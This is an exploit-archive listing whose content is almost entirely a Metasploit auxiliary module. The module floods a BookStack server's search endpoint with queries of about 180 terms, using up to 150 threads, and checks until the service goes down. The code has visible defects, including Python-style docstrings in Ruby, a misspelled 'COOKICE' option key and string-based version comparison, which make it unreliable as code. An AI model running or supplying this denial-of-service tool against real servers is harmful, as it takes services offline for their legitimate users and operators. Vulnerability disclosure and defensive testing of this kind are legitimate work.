## https://sploitus.com/exploit?id=PACKETSTORM:223564
==================================================================================================================================
| # Title : BookStack 25.12.1 Search-Based Resource Exhaustion DoS Module Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.bookstackapp.com |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a denial-of-service vulnerability in BookStack (before v25.12.1) by abusing the search system.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::DoS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BookStack Search Term Resource Exhaustion Denial of Service',
'Description' => %q{
A Denial of Service (DoS) vulnerability exists in BookStack versions
prior to 25.12.1. The vulnerability is triggered by sending a search
query containing a large number of terms (100+ generic terms, 50+
exact terms, and 30+ tag terms) to the search endpoint.
The search query generates an SQL query with multiple OR LIKE conditions,
full table scans, and subqueries that exhaust database resources. This
results in the application becoming unresponsive for legitimate users.
The issue was fixed in BookStack v25.12.1 by optimizing the search query
and limiting the number of search terms processed.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/'],
['URL', 'https://github.com/BookStackApp/BookStack/security/advisories']
],
'DisclosureDate' => '2026-04-29',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base BookStack path', '/']),
OptString.new('COOKIE', [false, 'Cookie to include in requests (if authentication required)']),
OptInt.new('THREADS', [false, 'Number of concurrent threads for attack', 150]),
OptInt.new('DURATION', [false, 'Attack duration in seconds', 30]),
OptInt.new('SEARCH_TERMS_GENERIC', [false, 'Number of generic search terms', 100]),
OptInt.new('SEARCH_TERMS_EXACT', [false, 'Number of exact search terms', 50]),
OptInt.new('SEARCH_TERMS_TAGS', [false, 'Number of tag terms', 30]),
OptEnum.new('ATTACK_MODE', [true, 'Attack mode', 'RESOURCE_EXHAUSTION', ['RESOURCE_EXHAUSTION', 'SLOW_QUERY', 'MASSIVE_BURST']])
])
end
def generate_search_payload(generic_terms = 100, exact_terms = 50, tag_terms = 30)
"""
Generate a search payload with many terms to exhaust database resources.
The payload structure:
- Generic terms: t0 t1 t2 ... t99 (100 terms)
- Exact terms: "e0" "e1" ... "e49" (50 terms)
- Tag terms: [t0=v0] [t1=v1] ... [t29=v29] (30 terms)
Total: ~180 search terms that generate a massive SQL query with many OR conditions.
"""
generic = (0...generic_terms).map { |i| "t#{i}" }.join(' ')
exact = (0...exact_terms).map { |i| "\"e#{i}\"" }.join(' ')
tags = (0...tag_terms).map { |i| "[t#{i}=v#{i}]" }.join(' ')
[generic, exact, tags].reject(&:empty?).join(' ')
end
def build_attack_url
payload = generate_search_payload(
datastore['SEARCH_TERMS_GENERIC'],
datastore['SEARCH_TERMS_EXACT'],
datastore['SEARCH_TERMS_TAGS']
)
encoded_payload = Rex::Text.uri_encode(payload)
search_path = normalize_uri(target_uri.path, 'search')
"#{search_path}?term=#{encoded_payload}"
end
def check_service_availability
"""
Check if the BookStack service is available and responding.
"""
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'timeout' => 5
)
if res && res.code == 200
return true
elsif res
return false
end
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
return false
end
false
end
def send_search_request(uri, cookie)
"""
Send a single search request with the crafted payload.
"""
headers = {}
headers['Cookie'] = cookie if cookie
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'headers' => headers,
'timeout' => 30
)
return res
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
return nil
end
end
def resource_exhaustion_attack(uri, cookie, threads_count, duration)
"""
Resource exhaustion attack using multiple threads sending search requests.
"""
print_status("Starting resource exhaustion attack with #{threads_count} threads for #{duration} seconds")
stop_attack = false
request_count = 0
failed_count = 0
mutex = Mutex.new
workers = (0...threads_count).map do |i|
Rex::ThreadFactory.spawn("AttackWorker-#{i}", false) do
until stop_attack
begin
send_search_request(uri, cookie)
mutex.synchronize { request_count += 1 }
rescue => e
mutex.synchronize { failed_count += 1 }
vprint_error("Worker #{i} error: #{e.message}")
end
Rex.sleep(0.01)
end
end
end
start_time = Time.now
elapsed = 0
while elapsed < duration
Rex.sleep(2)
elapsed = Time.now - start_time
print_status("Attack progress: #{elapsed.round(1)}s elapsed, requests: #{request_count}, failed: #{failed_count}")
unless check_service_availability
print_good("Service appears to be DOWN / UNRESPONSIVE!")
stop_attack = true
break
end
end
stop_attack = true
workers.each(&:join)
print_status("Attack completed: #{request_count} requests sent, #{failed_count} failures")
end
def slow_query_attack(uri, cookie, duration)
"""
Slow query attack using a single massive search payload that takes a long time to execute.
"""
print_status("Starting slow query attack for #{duration} seconds")
start_time = Time.now
request_count = 0
while Time.now - start_time < duration
print_status("Sending slow search query # #{request_count + 1}")
send_search_request(uri, cookie)
request_count += 1
Rex.sleep(2)
unless check_service_availability
print_good("Service appears to be DOWN / UNRESPONSIVE!")
break
end
end
print_status("Slow query attack completed: #{request_count} requests sent")
end
def massive_burst_attack(uri, cookie, burst_size)
"""
Massive burst attack - send many requests simultaneously in a short burst.
"""
print_status("Starting massive burst attack with #{burst_size} simultaneous requests")
threads = []
request_count = 0
failed_count = 0
mutex = Mutex.new
burst_size.times do |i|
threads << Rex::ThreadFactory.spawn("BurstWorker-#{i}", false) do
begin
send_search_request(uri, cookie)
mutex.synchronize { request_count += 1 }
rescue => e
mutex.synchronize { failed_count += 1 }
vprint_error("Burst worker #{i} error: #{e.message}")
end
end
end
threads.each(&:join)
print_status("Massive burst completed: #{request_count} succeeded, #{failed_count} failed")
Rex.sleep(2)
if check_service_availability
print_status("Service still responding after burst attack")
else
print_good("Service is DOWN after massive burst!")
end
end
def detect_bookstack_version
"""
Attempt to detect BookStack version from response headers or page content.
"""
print_status("Detecting BookStack version...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
if res && res.body
version_match = res.body.match(/BookStack<\/a>\s*v?([0-9.]+)/i) ||
res.body.match(/version["']:\s*["']([0-9.]+)["']/i) ||
res.body.match(/BookStack\s+v?([0-9.]+)/i)
if version_match
version = version_match[1]
print_good("Detected BookStack version: #{version}")
if version < '25.12.1'
print_status("Version #{version} appears vulnerable")
return version
else
print_warning("Version #{version} appears patched")
return version
end
end
end
print_status("Could not detect version. Assuming target may be vulnerable.")
nil
end
def run_host(ip)
print_status("Starting BookStack Denial of Service attack against #{peer}")
unless check_service_availability
print_error("Target does not appear to be a BookStack instance or is not responding")
return
end
print_good("Target is responding, attack will proceed")
version = detect_bookstack_version
attack_uri = build_attack_url
payload_size = attack_uri.length
print_status("Attack URL length: #{payload_size} bytes")
print_status("Search payload: #{generate_search_payload(5, 3, 2)[0..100]}...")
cookie = datastore['COOKICE'] if datastore['COOKIE']
attack_mode = datastore['ATTACK_MODE']
case attack_mode
when 'RESOURCE_EXHAUSTION'
threads = datastore['THREADS']
duration = datastore['DURATION']
resource_exhaustion_attack(attack_uri, cookie, threads, duration)
when 'SLOW_QUERY'
duration = datastore['DURATION']
slow_query_attack(attack_uri, cookie, duration)
when 'MASSIVE_BURST'
burst_size = datastore['THREADS']
massive_burst_attack(attack_uri, cookie, burst_size)
end
print_status("Performing final service check...")
Rex.sleep(5)
if check_service_availability
print_error("Service appears to be still running. Attack may have failed or target is patched.")
if version && version >= '25.12.1'
print_warning("Target version #{version} is patched. This attack will not work.")
end
else
print_good("SERVICE IS DOWN! Denial of Service successful.")
report_note(
host: ip,
port: datastore['RPORT'],
type: 'dos.successful',
data: {
'attack_mode' => attack_mode,
'vulnerable_version' => version,
'message' => 'BookStack service was successfully taken offline'
}
)
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================